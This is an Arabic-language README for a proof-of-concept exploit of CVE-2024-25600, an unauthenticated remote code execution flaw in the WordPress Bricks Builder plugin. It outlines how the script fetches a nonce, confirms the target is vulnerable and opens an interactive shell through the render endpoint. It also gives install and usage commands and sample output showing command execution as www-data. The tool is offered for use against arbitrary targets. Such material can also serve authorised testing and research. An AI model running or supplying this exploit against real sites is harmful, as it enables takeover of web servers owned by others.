CVE-2024-25600 — ثغرة تنفيذ الأوامر عن بُعد في WordPress Bricks Builder (إثبات المفهوم)

ثغرة تنفيذ أوامر عن بُعد بدون مصادقة في WordPress Bricks Builder <= 1.9.6. يقبل نقطة نهاية عرض القالب كود PHP بدون مصادقة، مما يسمح بتنفيذ أوامر عشوائية كمستخدم خادم الويب.

كيفية العمل

1. يجلب nonce الخاص بـ Bricks من مصدر صفحة الهدف (مطلوب للتفاعل مع نقطة النهاية).
2. يرسل حمولة اختبار لتأكيد أن الهدف ضعيف.
3. يفتح شل تفاعلية عن طريق حقن الأوامر عبر نقطة نهاية العرض.

المتطلبات

• بايثون 3
• تثبيت التبعيات:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit

الاستخدام

python3 exploit.py -u http://TARGET

مثال:

$ python3 exploit.py -u http://10.10.10.10
[*] Fetching nonce from http://10.10.10.10 ...
[*] Checking if the target is vulnerable...
[+] Target is vulnerable!
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)